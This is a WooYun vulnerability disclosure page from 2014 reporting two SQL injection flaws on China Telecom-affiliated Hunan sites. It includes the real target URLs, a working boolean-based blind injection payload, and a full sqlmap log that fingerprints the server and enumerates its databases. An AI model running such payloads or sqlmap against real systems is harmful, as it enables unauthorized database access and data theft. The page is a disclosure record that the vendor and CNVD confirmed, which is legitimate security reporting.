当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060638

漏洞标题:中国电信旗下某站点存在两处sql注入漏洞(修复不当)

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2014-05-17 21:11

修复时间:2014-07-01 21:11

公开时间:2014-07-01 21:11

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-17: 细节已通知厂商并且等待厂商处理中
2014-05-22: 厂商已经确认,细节仅向厂商公开
2014-06-01: 细节向核心白帽子及相关领域专家公开
2014-06-11: 细节向普通白帽子公开
2014-06-21: 细节向实习白帽子公开
2014-07-01: 细节向公众公开

简要描述:

呵呵

详细说明:

WooYun: 中国电信旗下某站多SQL注入(跨库,数据蛮多的,我回来了)
这里都向核心白帽子公布漏洞细节了....

http://vip.hn118114.cn/localLifeXq.aspx?Id=5


注入地址:http://vip.hn118114.cn/localLifeXq.aspx?Id=5
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:39:26
[01:39:26] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\vip.hn118114.cn\session' as session file
[01:39:26] [INFO] testing connection to the target url
[01:39:27] [INFO] testing if the url is stable, wait a few seconds
[01:39:29] [INFO] url is stable
[01:39:29] [INFO] testing if GET parameter 'Id' is dynamic
[01:39:29] [INFO] confirming that GET parameter 'Id' is dynamic
[01:39:30] [INFO] GET parameter 'Id' is dynamic
[01:39:30] [WARNING] heuristic test shows that GET parameter 'Id' might not be i
njectable
[01:39:30] [INFO] testing sql injection on GET parameter 'Id'
[01:39:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:39:41] [INFO] GET parameter 'Id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[01:39:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:39:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:39:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:39:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:39:43] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:39:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:39:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:39:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:39:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:39:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:39:56] [INFO] testing 'Oracle AND time-based blind'
[01:39:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:40:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:40:11] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[01:40:12] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:40:19] [INFO] target url appears to have 7 columns in query
[01:40:29] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:40:29] [INFO] checking if the injection point on GET parameter 'Id' is a fal
se positive
GET parameter 'Id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 55 HTTP(s) requ
ests:
---
Place: GET
Parameter: Id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Id=5' AND 6848=6848 AND 'HvMW'='HvMW
---
[01:42:27] [INFO] testing MySQL
[01:42:28] [WARNING] the back-end DBMS is not MySQL
[01:42:28] [INFO] testing Oracle
[01:42:28] [WARNING] the back-end DBMS is not Oracle
[01:42:28] [INFO] testing PostgreSQL
[01:42:28] [WARNING] the back-end DBMS is not PostgreSQL
[01:42:28] [INFO] testing Microsoft SQL Server
[01:42:30] [INFO] confirming Microsoft SQL Server
[01:42:33] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:42:33] [INFO] fetching database names
[01:42:33] [INFO] fetching number of databases
[01:42:33] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[01:42:33] [INFO] retrieved: 9
[01:42:40] [INFO] retrieved: Exttest
[01:43:40] [INFO] retrieved: Exttest2
[01:45:02] [INFO] retrieved: master
[01:45:40] [INFO] retrieved: model
[01:46:13] [INFO] retrieved: msdb
[01:46:36] [INFO] retrieved: ReportServer
[01:47:45] [INFO] retrieved: ReportServerTempDB
[01:49:33] [INFO] retrieved: tempdb
[01:50:19] [INFO] retrieved: VIPCustomer
available databases [9]:
[*] Exttest
[*] Exttest2
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] VIPCustomer
[01:51:41] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\vip.hn118114.cn'


root 权限 http://jk.hn118114.cn/app_web/index.php?m=home&c=product&id=1009


root.jpg

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-22 17:09

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发向中国电信集团公司通报处置

最新状态:

暂无


漏洞评价:

评论